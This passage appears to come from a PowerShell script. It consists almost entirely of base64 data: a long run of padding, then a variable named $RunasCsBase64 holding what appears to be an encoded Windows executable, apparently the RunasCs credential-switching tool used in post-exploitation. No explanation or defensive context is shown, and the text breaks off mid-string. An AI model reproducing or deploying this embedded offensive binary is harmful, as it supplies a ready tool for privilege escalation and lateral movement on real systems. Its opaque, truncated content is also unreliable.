AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0AAADAAAAAA0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + $RunasCsBase64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAAERZGQAAAAAAAAAAOAAAgELAQgAAMAAAAAgAAAAAAAAzt4AAAAgAAAA4AAAAABAAAAgAAAAEAAABAAAAAAAAAAEAAAAAAAAAAAgAQAAEAAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAIDeAABLAAAAAOAAALgCAAAAAAAAAAAAAAAAAAAAAAAAAAABAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA1L4AAAAgAAAAwAAAABAAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAALgCAAAA4AAAABAAAADQAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAAABAAAQAAAA4AAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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